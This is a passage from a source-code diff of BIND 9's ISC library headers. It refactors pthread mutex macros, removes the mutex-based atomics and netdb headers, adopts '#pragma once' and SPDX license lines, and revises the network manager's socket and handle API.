+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
+
+extern pthread_mutexattr_t isc__mutex_init_attr;
+
+#define isc__mutex_init(mp)                                               \
+	{                                                                 \
+		int _ret = pthread_mutex_init(mp, &isc__mutex_init_attr); \
+		PTHREADS_RUNTIME_CHECK(pthread_mutex_init, _ret);         \
+	}
+
+#define isc__mutex_lock(mp)                                       \
+	{                                                         \
+		int _ret = pthread_mutex_lock(mp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_mutex_lock, _ret); \
+	}
+
+#define isc__mutex_unlock(mp)                                       \
+	{                                                           \
+		int _ret = pthread_mutex_unlock(mp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_mutex_unlock, _ret); \
+	}
+
+#define isc__mutex_trylock(mp) \
+	((pthread_mutex_trylock(mp) == 0) ? ISC_R_SUCCESS : ISC_R_LOCKBUSY)
+
+#define isc__mutex_destroy(mp)                                       \
+	{                                                            \
+		int _ret = pthread_mutex_destroy(mp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_mutex_destroy, _ret); \
+	}
 
 ISC_LANG_ENDDECLS
-#endif /* ISC_MUTEX_H */
diff --git a/lib/isc/include/isc/mutexatomic.h b/lib/isc/include/isc/mutexatomic.h
deleted file mode 100644
index 3b6de79fb8..0000000000
--- a/lib/isc/include/isc/mutexatomic.h
+++ /dev/null
@@ -1,252 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <inttypes.h>
-#include <stdbool.h>
-#if HAVE_UCHAR_H
-#include <uchar.h>
-#endif /* HAVE_UCHAR_H */
-
-#include <isc/mutex.h>
-#include <isc/util.h>
-
-#if !defined(__has_feature)
-#define __has_feature(x) 0
-#endif /* if !defined(__has_feature) */
-
-#if !defined(__has_extension)
-#define __has_extension(x) __has_feature(x)
-#endif /* if !defined(__has_extension) */
-
-#if !defined(__GNUC_PREREQ__)
-#if defined(__GNUC__) && defined(__GNUC_MINOR__)
-#define __GNUC_PREREQ__(maj, min) \
-	((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min))
-#else /* if defined(__GNUC__) && defined(__GNUC_MINOR__) */
-#define __GNUC_PREREQ__(maj, min) 0
-#endif /* if defined(__GNUC__) && defined(__GNUC_MINOR__) */
-#endif /* if !defined(__GNUC_PREREQ__) */
-
-#if !defined(__CLANG_ATOMICS) && !defined(__GNUC_ATOMICS)
-#if __has_extension(c_atomic) || __has_extension(cxx_atomic)
-#define __CLANG_ATOMICS
-#elif __GNUC_PREREQ__(4, 7)
-#define __GNUC_ATOMICS
-#elif !defined(__GNUC__)
-#error "isc/stdatomic.h does not support your compiler"
-#endif /* if __has_extension(c_atomic) || __has_extension(cxx_atomic) */
-#endif /* if !defined(__CLANG_ATOMICS) && !defined(__GNUC_ATOMICS) */
-
-#ifndef __ATOMIC_RELAXED
-#define __ATOMIC_RELAXED 0
-#endif /* ifndef __ATOMIC_RELAXED */
-#ifndef __ATOMIC_CONSUME
-#define __ATOMIC_CONSUME 1
-#endif /* ifndef __ATOMIC_CONSUME */
-#ifndef __ATOMIC_ACQUIRE
-#define __ATOMIC_ACQUIRE 2
-#endif /* ifndef __ATOMIC_ACQUIRE */
-#ifndef __ATOMIC_RELEASE
-#define __ATOMIC_RELEASE 3
-#endif /* ifndef __ATOMIC_RELEASE */
-#ifndef __ATOMIC_ACQ_REL
-#define __ATOMIC_ACQ_REL 4
-#endif /* ifndef __ATOMIC_ACQ_REL */
-#ifndef __ATOMIC_SEQ_CST
-#define __ATOMIC_SEQ_CST 5
-#endif /* ifndef __ATOMIC_SEQ_CST */
-
-enum memory_order {
-	memory_order_relaxed = __ATOMIC_RELAXED,
-	memory_order_consume = __ATOMIC_CONSUME,
-	memory_order_acquire = __ATOMIC_ACQUIRE,
-	memory_order_release = __ATOMIC_RELEASE,
-	memory_order_acq_rel = __ATOMIC_ACQ_REL,
-	memory_order_seq_cst = __ATOMIC_SEQ_CST
-};
-
-typedef enum memory_order memory_order;
-
-#define ___TYPEDEF(type, name, orig) \
-	typedef struct name {        \
-		isc_mutex_t m;       \
-		orig	    v;       \
-	} type;
-
-#define _TYPEDEF_S(type) ___TYPEDEF(atomic_##type, atomic_##type##_s, type)
-#define _TYPEDEF_O(type, orig) \
-	___TYPEDEF(atomic_##type, atomic_##type##_s, orig)
-#define _TYPEDEF_T(type) \
-	___TYPEDEF(atomic_##type##_t, atomic_##type##_s, type##_t)
-
-#ifndef HAVE_UCHAR_H
-typedef uint_least16_t char16_t;
-typedef uint_least32_t char32_t;
-#endif /* HAVE_UCHAR_H */
-
-_TYPEDEF_S(bool);
-_TYPEDEF_S(char);
-_TYPEDEF_O(schar, signed char);
-_TYPEDEF_O(uchar, unsigned char);
-_TYPEDEF_S(short);
-_TYPEDEF_O(ushort, unsigned short);
-_TYPEDEF_S(int);
-_TYPEDEF_O(uint, unsigned int);
-_TYPEDEF_S(long);
-_TYPEDEF_O(ulong, unsigned long);
-_TYPEDEF_O(llong, long long);
-_TYPEDEF_O(ullong, unsigned long long);
-_TYPEDEF_T(char16);
-_TYPEDEF_T(char32);
-_TYPEDEF_T(wchar);
-_TYPEDEF_T(int_least8);
-_TYPEDEF_T(uint_least8);
-_TYPEDEF_T(int_least16);
-_TYPEDEF_T(uint_least16);
-_TYPEDEF_T(int_least32);
-_TYPEDEF_T(uint_least32);
-_TYPEDEF_T(int_least64);
-_TYPEDEF_T(uint_least64);
-_TYPEDEF_T(int_fast8);
-_TYPEDEF_T(uint_fast8);
-_TYPEDEF_T(int_fast16);
-_TYPEDEF_T(uint_fast16);
-_TYPEDEF_T(int_fast32);
-_TYPEDEF_T(uint_fast32);
-_TYPEDEF_T(int_fast64);
-_TYPEDEF_T(uint_fast64);
-_TYPEDEF_T(intptr);
-_TYPEDEF_T(uintptr);
-_TYPEDEF_T(size);
-_TYPEDEF_T(ptrdiff);
-_TYPEDEF_T(intmax);
-_TYPEDEF_T(uintmax);
-
-#undef ___TYPEDEF
-#undef _TYPEDEF_S
-#undef _TYPEDEF_T
-#undef _TYPEDEF_O
-
-#define ATOMIC_VAR_INIT(arg)                             \
-	{                                                \
-		.m = PTHREAD_MUTEX_INITIALIZER, .v = arg \
-	}
-
-#define atomic_init(obj, desired)          \
-	{                                  \
-		isc_mutex_init(&(obj)->m); \
-		(obj)->v = desired;        \
-	}
-#define atomic_load_explicit(obj, order)                               \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_store_explicit(obj, desired, order)                     \
-	{                                                              \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		(obj)->v = desired;                                    \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-	}
-#define atomic_fetch_add_explicit(obj, arg, order)                     \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		(obj)->v += arg;                                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_fetch_sub_explicit(obj, arg, order)                     \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		(obj)->v -= arg;                                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_fetch_and_explicit(obj, arg, order)                     \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		(obj)->v &= arg;                                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_fetch_or_explicit(obj, arg, order)                      \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		(obj)->v |= arg;                                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_compare_exchange_strong_explicit(obj, expected, desired, succ, \
-						fail)                         \
-	({                                                                    \
-		bool ___v;                                                    \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);          \
-		___v = ((obj)->v == *expected);                               \
-		*expected = (obj)->v;                                         \
-		(obj)->v = ___v ? desired : (obj)->v;                         \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS);        \
-		___v;                                                         \
-	})
-#define atomic_compare_exchange_weak_explicit(obj, expected, desired, succ, \
-					      fail)                         \
-	({                                                                  \
-		bool ___v;                                                  \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);        \
-		___v = ((obj)->v == *expected);                             \
-		*expected = (obj)->v;                                       \
-		(obj)->v = ___v ? desired : (obj)->v;                       \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS);      \
-		___v;                                                       \
-	})
-
-#define atomic_load(obj) atomic_load_explicit(obj, memory_order_seq_cst)
-#define atomic_store(obj, arg) \
-	atomic_store_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_add(obj, arg) \
-	atomic_fetch_add_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_sub(obj, arg) \
-	atomic_fetch_sub_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_and(obj, arg) \
-	atomic_fetch_and_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_or(obj, arg) \
-	atomic_fetch_or_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_compare_exchange_strong(obj, expected, desired)          \
-	atomic_compare_exchange_strong_explicit(obj, expected, desired, \
-						memory_order_seq_cst,   \
-						memory_order_seq_cst)
-#define atomic_compare_exchange_weak(obj, expected, desired)          \
-	atomic_compare_exchange_weak_explicit(obj, expected, desired, \
-					      memory_order_seq_cst,   \
-					      memory_order_seq_cst)
-#define atomic_exchange_explicit(obj, desired, order)                  \
-	({                                                             \
-		typeof((obj)->v) ___v;                                 \
-		REQUIRE(isc_mutex_lock(&(obj)->m) == ISC_R_SUCCESS);   \
-		___v = (obj)->v;                                       \
-		(obj)->v = desired;                                    \
-		REQUIRE(isc_mutex_unlock(&(obj)->m) == ISC_R_SUCCESS); \
-		___v;                                                  \
-	})
-#define atomic_exchange(obj, desired) \
-	atomic_exchange_explicit(obj, desired, memory_order_seq_cst)
diff --git a/lib/isc/include/isc/mutexblock.h b/lib/isc/include/isc/mutexblock.h
index de20bb5b6c..f5f2e32e8e 100644
--- a/lib/isc/include/isc/mutexblock.h
+++ b/lib/isc/include/isc/mutexblock.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_MUTEXBLOCK_H
-#define ISC_MUTEXBLOCK_H 1
+#pragma once
 
 /*! \file isc/mutexblock.h */
 
@@ -51,5 +52,3 @@ isc_mutexblock_destroy(isc_mutex_t *block, unsigned int count);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_MUTEXBLOCK_H */
diff --git a/lib/isc/include/isc/net.h b/lib/isc/include/isc/net.h
index 96bedf632d..320c5f682d 100644
--- a/lib/isc/include/isc/net.h
+++ b/lib/isc/include/isc/net.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_NET_H
-#define ISC_NET_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -64,18 +65,16 @@
 /***
  *** Imports.
  ***/
-#include <inttypes.h>
-
-#include <isc/lang.h>
-#include <isc/platform.h>
-#include <isc/types.h>
-
 #include <arpa/inet.h> /* Contractual promise. */
+#include <inttypes.h>
 #include <net/if.h>
 #include <netinet/in.h> /* Contractual promise. */
 #include <sys/socket.h> /* Contractual promise. */
 #include <sys/types.h>
 
+#include <isc/lang.h>
+#include <isc/types.h>
+
 #ifndef IN6ADDR_LOOPBACK_INIT
 #ifdef s6_addr
 /*% IPv6 address loopback init */
@@ -272,20 +271,6 @@ isc_net_probeunix(void);
  * Returns whether UNIX domain sockets are supported.
  */
 
-#define ISC_NET_DSCPRECVV4 0x01 /* Can receive sent DSCP value IPv4 */
-#define ISC_NET_DSCPRECVV6 0x02 /* Can receive sent DSCP value IPv6 */
-#define ISC_NET_DSCPSETV4  0x04 /* Can set DSCP on socket IPv4 */
-#define ISC_NET_DSCPSETV6  0x08 /* Can set DSCP on socket IPv6 */
-#define ISC_NET_DSCPPKTV4  0x10 /* Can set DSCP on per packet IPv4 */
-#define ISC_NET_DSCPPKTV6  0x20 /* Can set DSCP on per packet IPv6 */
-#define ISC_NET_DSCPALL	   0x3f /* All valid flags */
-
-unsigned int
-isc_net_probedscp(void);
-/*%<
- * Probe the level of DSCP support.
- */
-
 isc_result_t
 isc_net_getudpportrange(int af, in_port_t *low, in_port_t *high);
 /*%<
@@ -304,5 +289,3 @@ isc_net_getudpportrange(int af, in_port_t *low, in_port_t *high);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_NET_H */
diff --git a/lib/isc/include/isc/netaddr.h b/lib/isc/include/isc/netaddr.h
index ba666fa7d6..e2d0613ed6 100644
--- a/lib/isc/include/isc/netaddr.h
+++ b/lib/isc/include/isc/netaddr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,23 +11,25 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_NETADDR_H
-#define ISC_NETADDR_H 1
+#pragma once
 
 /*! \file isc/netaddr.h */
 
 #include <inttypes.h>
 #include <stdbool.h>
+#include <sys/types.h>
+#include <sys/un.h>
 
 #include <isc/lang.h>
 #include <isc/net.h>
 #include <isc/types.h>
 
-#include <sys/types.h>
-#include <sys/un.h>
-
 ISC_LANG_BEGINDECLS
 
+/*
+ * Any updates to this structure should also be applied in
+ * contrib/modules/dlz/dlz_minmal.h.
+ */
 struct isc_netaddr {
 	unsigned int family;
 	union {
@@ -190,5 +194,3 @@ isc_netaddr_isloopback(const isc_netaddr_t *na);
  * 127.0.0.0/8 or ::1).
  */
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_NETADDR_H */
diff --git a/lib/isc/include/isc/netdb.h b/lib/isc/include/isc/netdb.h
deleted file mode 100644
index 2e56d67db3..0000000000
--- a/lib/isc/include/isc/netdb.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_NETDB_H
-#define ISC_NETDB_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file
- * \brief
- * Portable netdb.h support.
- *
- * This module is responsible for defining the get<x>by<y> APIs.
- *
- * MP:
- *\li	No impact.
- *
- * Reliability:
- *\li	No anticipated impact.
- *
- * Resources:
- *\li	N/A.
- *
- * Security:
- *\li	No anticipated impact.
- *
- * Standards:
- *\li	BSD API
- */
-
-/***
- *** Imports.
- ***/
-
-#include <netdb.h>
-
-#include <isc/net.h>
-
-#endif /* ISC_NETDB_H */
diff --git a/lib/isc/include/isc/netmgr.h b/lib/isc/include/isc/netmgr.h
index b8f19bf15a..19250b5283 100644
--- a/lib/isc/include/isc/netmgr.h
+++ b/lib/isc/include/isc/netmgr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,12 +13,29 @@
 
 #pragma once
 
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <unistd.h>
+
 #include <isc/mem.h>
+#include <isc/refcount.h>
 #include <isc/region.h>
 #include <isc/result.h>
 #include <isc/tls.h>
 #include <isc/types.h>
 
+#undef ISC_NETMGR_TRACE
+
+#if defined(SO_REUSEPORT_LB) || (defined(SO_REUSEPORT) && defined(__linux__))
+#define HAVE_SO_REUSEPORT_LB 1
+#endif
+
+/*
+ * Convenience macros to specify on how many threads should socket listen
+ */
+#define ISC_NM_LISTEN_ALL 0
+#define ISC_NM_LISTEN_ONE 1
+
 /*
  * Replacement for isc_sockettype_t provided by socket.h.
  */
@@ -37,7 +56,7 @@ typedef void (*isc_nm_recv_cb_t)(isc_nmhandle_t *handle, isc_result_t eresult,
  * 'region' contains the received data, if any. It will be freed
  *          after return by caller.
  * 'cbarg'  the callback argument passed to isc_nm_listenudp(),
- *          isc_nm_listentcpdns(), or isc_nm_read().
+ *          isc_nm_listenstreamdns(), or isc_nm_read().
  */
 typedef isc_result_t (*isc_nm_accept_cb_t)(isc_nmhandle_t *handle,
 					   isc_result_t result, void *cbarg);
@@ -48,7 +67,7 @@ typedef isc_result_t (*isc_nm_accept_cb_t)(isc_nmhandle_t *handle,
  * 'handle' the handle that can be used to send back the answer.
  * 'eresult' the result of the event.
  * 'cbarg'  the callback argument passed to isc_nm_listentcp() or
- * isc_nm_listentcpdns().
+ * isc_nm_listenstreamdns().
  */
 
 typedef void (*isc_nm_cb_t)(isc_nmhandle_t *handle, isc_result_t result,
@@ -68,10 +87,16 @@ typedef void (*isc_nm_opaquecb_t)(void *arg);
  * callbacks.
  */
 
-typedef void (*isc_nm_workcb_t)(void *arg);
-typedef void (*isc_nm_after_workcb_t)(void *arg, isc_result_t result);
+void
+isc_netmgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t **netgmrp);
 /*%<
- * Callback functions for libuv threadpool work (see uv_work_t)
+ * Creates a new network manager and starts it running when loopmgr is started.
+ */
+
+void
+isc_netmgr_destroy(isc_nm_t **netmgrp);
+/*%<
+ * Similar to isc_nm_detach(), but requires all other references to be gone.
  */
 
 void
@@ -81,14 +106,8 @@ isc_nm_detach(isc_nm_t **mgr0);
 /*%<
  * Attach/detach a network manager. When all references have been
  * released, the network manager is shut down, freeing all resources.
- * Destroy is working the same way as detach, but it actively waits
- * for all other references to be gone.
  */
 
-/* Return thread ID of current thread, or ISC_NETMGR_TID_UNKNOWN */
-int
-isc_nm_tid(void);
-
 void
 isc_nmsocket_close(isc_nmsocket_t **sockp);
 /*%<
@@ -98,42 +117,62 @@ isc_nmsocket_close(isc_nmsocket_t **sockp);
  * sockets with active handles, the socket will be closed.
  */
 
-#ifdef NETMGR_TRACE
-#define isc_nmhandle_attach(handle, dest) \
-	isc__nmhandle_attach(handle, dest, __FILE__, __LINE__, __func__)
-#define isc_nmhandle_detach(handlep) \
-	isc__nmhandle_detach(handlep, __FILE__, __LINE__, __func__)
-#define FLARG , const char *file, unsigned int line, const char *func
-#else
-#define isc_nmhandle_attach(handle, dest) isc__nmhandle_attach(handle, dest)
-#define isc_nmhandle_detach(handlep)	  isc__nmhandle_detach(handlep)
-#define FLARG
-#endif
-
 void
-isc__nmhandle_attach(isc_nmhandle_t *handle, isc_nmhandle_t **dest FLARG);
+isc_nmsocket_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx);
+/*%<
+ * Asynchronously replace the TLS context within the listener socket object.
+ * The function is intended to be used during reconfiguration.
+ *
+ * Requires:
+ * \li	'listener' is a pointer to a valid network manager listener socket
+ object with TLS support;
+ * \li	'tlsctx' is a valid pointer to a TLS context object.
+ */
+
 void
-isc__nmhandle_detach(isc_nmhandle_t **handlep FLARG);
+isc_nmsocket_set_max_streams(isc_nmsocket_t *listener,
+			     const uint32_t  max_streams);
 /*%<
- * Increment/decrement the reference counter in a netmgr handle,
- * but (unlike the attach/detach functions) do not change the pointer
- * value. If reference counters drop to zero, the handle can be
- * marked inactive, possibly triggering deletion of its associated
- * socket.
+ * Set the maximum allowed number of concurrent streams for accepted
+ * client connections. The implementation might be asynchronous
+ * depending on the listener socket type.
+ *
+ * The call is a no-op for any listener socket type that does not
+ * support concept of multiple sessions per a client
+ * connection. Currently, it works only for HTTP/2 listeners.
+ *
+ * Setting 'max_streams' to '0' instructs the listener that there is
+ * no limit for concurrent streams.
  *
- * (This will be used to prevent a client from being cleaned up when
- * it's passed to an isc_task event handler. The libuv code would not
- * otherwise know that the handle was in use and might free it, along
- * with the client.)
+ * Requires:
+ * \li	'listener' is a pointer to a valid network manager listener socket.
+ */
+
+#if ISC_NETMGR_TRACE
+#define isc_nmhandle_ref(ptr) \
+	isc_nmhandle__ref(ptr, __func__, __FILE__, __LINE__)
+#define isc_nmhandle_unref(ptr) \
+	isc_nmhandle__unref(ptr, __func__, __FILE__, __LINE__)
+#define isc_nmhandle_attach(ptr, ptrp) \
+	isc_nmhandle__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define isc_nmhandle_detach(ptrp) \
+	isc_nmhandle__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(isc_nmhandle);
+#else
+ISC_REFCOUNT_DECL(isc_nmhandle);
+#endif
+/*%<
+ * Increment/decrement the reference counter in a netmgr handle.
+ *
+ * When the detach function is called on a thread other than the one that
+ * created the handle, it is scheduled to asynchronously by the handle's
+ * event loop. When references go to zero, the associated socket will be
+ * closed and deleted.
  */
-#undef FLARG
 
 void *
 isc_nmhandle_getdata(isc_nmhandle_t *handle);
 
-void *
-isc_nmhandle_getextra(isc_nmhandle_t *handle);
-
 bool
 isc_nmhandle_is_stream(isc_nmhandle_t *handle);
 
@@ -160,6 +199,24 @@ isc_nmhandle_cleartimeout(isc_nmhandle_t *handle);
  * a TCPDNS socket wrapping a TCP connection), the timer is set for
  * both socket layers.
  */
+bool
+isc_nmhandle_timer_running(isc_nmhandle_t *handle);
+/*%<
+ * Return true if the timer for the socket connected to 'handle'
+ * is running.
+ */
+
+void
+isc_nmhandle_keepalive(isc_nmhandle_t *handle, bool value);
+/*%<
+ * Enable/disable keepalive on this connection by setting it to 'value'.
+ *
+ * When keepalive is active, we switch to using the keepalive timeout
+ * to determine when to close a connection, rather than the idle timeout.
+ *
+ * This applies only to TCP-based DNS connections (i.e., TCPDNS or
+ * TLSDNS). On other types of connection it has no effect.
+ */
 
 isc_sockaddr_t
 isc_nmhandle_peeraddr(isc_nmhandle_t *handle);
@@ -179,8 +236,8 @@ isc_nmhandle_netmgr(isc_nmhandle_t *handle);
  */
 
 isc_result_t
-isc_nm_listenudp(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nm_recv_cb_t cb,
-		 void *cbarg, size_t extrasize, isc_nmsocket_t **sockp);
+isc_nm_listenudp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_recv_cb_t cb, void *cbarg, isc_nmsocket_t **sockp);
 /*%<
  * Start listening for UDP packets on interface 'iface' using net manager
  * 'mgr'.
@@ -189,49 +246,37 @@ isc_nm_listenudp(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nm_recv_cb_t cb,
  *
  * When a packet is received on the socket, 'cb' will be called with 'cbarg'
  * as its argument.
- *
- * When handles are allocated for the socket, 'extrasize' additional bytes
- * can be allocated along with the handle for an associated object, which
- * can then be freed automatically when the handle is destroyed.
  */
 
 void
 isc_nm_udpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		  size_t extrahandlesize);
+		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout);
 /*%<
  * Open a UDP socket, bind to 'local' and connect to 'peer', and
  * immediately call 'cb' with a handle so that the caller can begin
  * sending packets over UDP.
  *
- * When handles are allocated for the socket, 'extrasize' additional bytes
- * can be allocated along with the handle for an associated object, which
- * can then be freed automatically when the handle is destroyed.
- *
  * 'timeout' specifies the timeout interval in milliseconds.
  *
  * The connected socket can only be accessed via the handle passed to
  * 'cb'.
  */
 
-void
-isc_nm_stoplistening(isc_nmsocket_t *sock);
-/*%<
- * Stop listening on socket 'sock'.
- */
-
-void
-isc_nm_pause(isc_nm_t *mgr);
+isc_result_t
+isc_nm_routeconnect(isc_nm_t *mgr, isc_nm_cb_t cb, void *cbarg);
 /*%<
- * Pause all processing, equivalent to taskmgr exclusive tasks.
- * It won't return until all workers have been paused.
+ * Open a route/netlink socket and call 'cb', so the caller can be
+ * begin listening for interface changes.  This behaves similarly to
+ * isc_nm_udpconnect().
+ *
+ * Returns ISC_R_NOTIMPLEMENTED on systems where route/netlink sockets
+ * are not supported.
  */
 
 void
-isc_nm_resume(isc_nm_t *mgr);
+isc_nm_stoplistening(isc_nmsocket_t *sock);
 /*%<
- * Resume paused processing. It will return immediately after signalling
- * workers to resume.
+ * Stop listening on socket 'sock'.
  */
 
 void
@@ -243,9 +288,9 @@ isc_nm_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
  */
 
 void
-isc_nm_pauseread(isc_nmhandle_t *handle);
+isc_nm_read_stop(isc_nmhandle_t *handle);
 /*%<
- * Pause reading on this handle's socket, but remember the callback.
+ * Stop reading on this handle's socket.
  *
  * Requires:
  * \li	'handle' is a valid netmgr handle.
@@ -258,18 +303,17 @@ isc_nm_cancelread(isc_nmhandle_t *handle);
  * active handles with a result code of ISC_R_CANCELED.
  *
  * Requires:
- * \li	'sock' is a valid netmgr socket
+ * \li	'handle' is a valid netmgr handle
  * \li	...for which a read/recv callback has been defined.
  */
 
 void
-isc_nm_resumeread(isc_nmhandle_t *handle);
+isc_nmhandle_close(isc_nmhandle_t *handle);
 /*%<
- * Resume reading on the handle's socket.
+ * Close the active handle - no further read callbacks will happen.
  *
  * Requires:
- * \li	'handle' is a valid netmgr handle.
- * \li	...for a socket with a defined read/recv callback.
+ * 'li	'handle' is a valid netmgr handle
  */
 
 void
@@ -284,10 +328,9 @@ isc_nm_send(isc_nmhandle_t *handle, isc_region_t *region, isc_nm_cb_t cb,
  */
 
 isc_result_t
-isc_nm_listentcp(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		 size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		 isc_nmsocket_t **sockp);
+isc_nm_listentcp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+		 isc_quota_t *quota, isc_nmsocket_t **sockp);
 /*%<
  * Start listening for raw messages over the TCP interface 'iface', using
  * net manager 'mgr'.
@@ -298,9 +341,6 @@ isc_nm_listentcp(isc_nm_t *mgr, isc_sockaddr_t *iface,
  * When connection is accepted on the socket, 'accept_cb' will be called with
  * 'accept_cbarg' as its argument. The callback is expected to start a read.
  *
- * When handles are allocated for the socket, 'extrasize' additional bytes
- * will be allocated along with the handle for an associated object.
- *
  * If 'quota' is not NULL, then the socket is attached to the specified
  * quota. This allows us to enforce TCP client quota limits.
  *
@@ -308,15 +348,14 @@ isc_nm_listentcp(isc_nm_t *mgr, isc_sockaddr_t *iface,
 
 void
 isc_nm_tcpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		  size_t extrahandlesize);
+		  isc_nm_cb_t connect_cb, void *connect_cbarg,
+		  unsigned int timeout);
 /*%<
  * Create a socket using netmgr 'mgr', bind it to the address 'local',
  * and connect it to the address 'peer'.
  *
  * When the connection is complete or has timed out, call 'cb' with
- * argument 'cbarg'. Allocate 'extrahandlesize' additional bytes along
- * with the handle to use for an associated object.
+ * argument 'cbarg'.
  *
  * 'timeout' specifies the timeout interval in milliseconds.
  *
@@ -325,11 +364,11 @@ isc_nm_tcpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
  */
 
 isc_result_t
-isc_nm_listentcpdns(isc_nm_t *mgr, isc_sockaddr_t *iface,
